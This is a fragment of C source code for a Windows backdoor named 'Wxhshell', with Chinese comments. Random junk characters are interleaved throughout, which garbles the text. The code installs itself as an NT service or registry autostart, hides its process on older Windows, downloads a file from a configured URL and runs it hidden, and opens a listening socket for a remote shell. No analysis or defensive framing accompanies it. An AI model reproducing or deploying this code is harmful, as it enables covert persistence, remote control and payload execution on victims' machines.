if(hProcess==NULL) return 0; <*A|pns n?ZL"!$ HMODULE hMod; :tjgg] char procName[255]; 409x!d~it unsigned long cbNeeded; _UH/}!nqB 2|0Qk& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G. -h=DT] T1Gp$l CloseHandle(hProcess); GCP{Z]u [xZ/ZWb/ if(strstr(procName,"services")) return 1; // 以服务启动 SG
dfhno; y~==waZw return 0; // 注册表启动 2,8/Cb } j[m_qohd7 IDGQIg // 主模块 |5}rX!wS4 int StartWxhshell(LPSTR lpCmdLine) vgh^fa!/ { j.=UI-&m SOCKET wsl; |<j,Tr1[ BOOL val=TRUE;
o273|* int port=0; Q
SHx]*)
struct sockaddr_in door; [l8V<*x%S9 %k3NT~ if(wscfg.ws_autoins) Install(); fCt^FU /RJ6nmN@} port=atoi(lpCmdLine); DD12pL{QA zz(!t eBC if(port<=0) port=wscfg.ws_port; `2B*CMW{ IgPV# WSADATA data; e5qrQwU if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QvG56:M3 S3ab0JM if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q(~3pt setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); la
G$v-r door.sin_family = AF_INET; ~")hE%Kl} door.sin_addr.s_addr = inet_addr("127.0.0.1"); e-[>( n/[ door.sin_port = htons(port); _o@(wGeu# G$?|S@I, if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4zo4H~@gk closesocket(wsl); ~q0I7M return 1; [,OJX
N-4s } Xt</ -` iGG6Myp- if(listen(wsl,2) == INVALID_SOCKET) { _u:>1] closesocket(wsl); Qqd6.F return 1; `3f_d}b } -Z:]<;qU Wxhshell(wsl); /6+1{p WSACleanup(); w)45SZ. B#HV20\?v return 0; +V)qep" eV[`P&j_C } P'a0CE% 5SoZ$,a<e // 以NT服务方式启动 L*zbike VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u]
F70C^~ { hnp`s%e, DWORD status = 0; >Y7r\ DWORD specificError = 0xfffffff; %xf)m[JU= NJn&>/vM serviceStatus.dwServiceType = SERVICE_WIN32; G 6Wx3~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; RY9+ 9i serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UH5w7M serviceStatus.dwWin32ExitCode = 0; EoKC8/ serviceStatus.dwServiceSpecificExitCode = 0; ,/i_QgP serviceStatus.dwCheckPoint = 0; k/df(cs
serviceStatus.dwWaitHint = 0; :=rA Yc3] FJO"|||Y'| hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r8IX/ , if (hServiceStatusHandle==0) return; M-{*92y&
| }X=87ud status = GetLastError(); w+q?T if (status!=NO_ERROR) Y8)}PWMs { zL9VR;q serviceStatus.dwCurrentState = SERVICE_STOPPED; ~}h^38 serviceStatus.dwCheckPoint = 0; ~_'0]P\ serviceStatus.dwWaitHint = 0; Y.q>EUSH serviceStatus.dwWin32ExitCode = status; o[o:A|n serviceStatus.dwServiceSpecificExitCode = specificError; 7N>oY$&) SetServiceStatus(hServiceStatusHandle, &serviceStatus); GtF2@\ return; *Wzwbwg
} h2"9"*S1 -g:lOht serviceStatus.dwCurrentState = SERVICE_RUNNING; DKh}Y
!Q=: serviceStatus.dwCheckPoint = 0; p ss6Oz8 serviceStatus.dwWaitHint = 0; 6G'<[gL
j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ue@8voZhS/ } hF2/
y.:P XdcG0D^ // 处理NT服务事件,比如:启动、停止 gF3TwAr VOID WINAPI NTServiceHandler(DWORD fdwControl) w TlGJ$D0 { C*7!dW6 switch(fdwControl) !(Q l)C { ,~- ?l7 case SERVICE_CONTROL_STOP: ]pWP?Ws serviceStatus.dwWin32ExitCode = 0; F<5nGx cC serviceStatus.dwCurrentState = SERVICE_STOPPED; o
w2$o\hC serviceStatus.dwCheckPoint = 0; ;
yyO0Ha serviceStatus.dwWaitHint = 0; F+Z2U/'a { \k;U}Te< SetServiceStatus(hServiceStatusHandle, &serviceStatus); `|]e6Pb } }'lNi^"XL return; Q!K`e )R case SERVICE_CONTROL_PAUSE: y?>#t^ serviceStatus.dwCurrentState = SERVICE_PAUSED; $_)=8"Sn break; ,<sm,!^<r case SERVICE_CONTROL_CONTINUE: {DT4mG5 serviceStatus.dwCurrentState = SERVICE_RUNNING; eZNitGaU break; DF'8GF&Rp case SERVICE_CONTROL_INTERROGATE: nX._EC break; 6yI}1g }; k,rWa SetServiceStatus(hServiceStatusHandle, &serviceStatus); FSU<Y1|XM } 1~'_K9eE |q_
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a // 标准应用程序主函数 =2,0Wo]$ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W<NmsG})_g { .B>B`q;B %,|ztH/ Q // 获取操作系统版本 t^.'>RwW| OsIsNt=GetOsVer(); IZ 8y}2 GetModuleFileName(NULL,ExeFile,MAX_PATH); OC_M4{9/ B;!f<"a8 // 从命令行安装 Ziz=]D_ if(strpbrk(lpCmdLine,"iI")) Install(); G
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'Ti1! #.<V^ // 下载执行文件 !%xP}{(7 if(wscfg.ws_downexe) { 2J<&rKCF if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9cQ_mgch WinExec(wscfg.ws_filenam,SW_HIDE); G;TsMq } $}R$t- YsP/p- if(!OsIsNt) { !8*McOI // 如果时win9x,隐藏进程并且设置为注册表启动 'L{p, HideProc(); ~Fw<eY StartWxhshell(lpCmdLine); ] TSg!H } m_*R.a else .#fPw_i if(StartFromService()) MdC<4^| // 以服务方式启动 K;U39ofW StartServiceCtrlDispatcher(DispatchTable); kX[fy7rVt else We}lx{E // 普通方式启动 |)o#|Qo
StartWxhshell(lpCmdLine); %M&3VQ9w st/n"HQ return 0; k=/eM$": }
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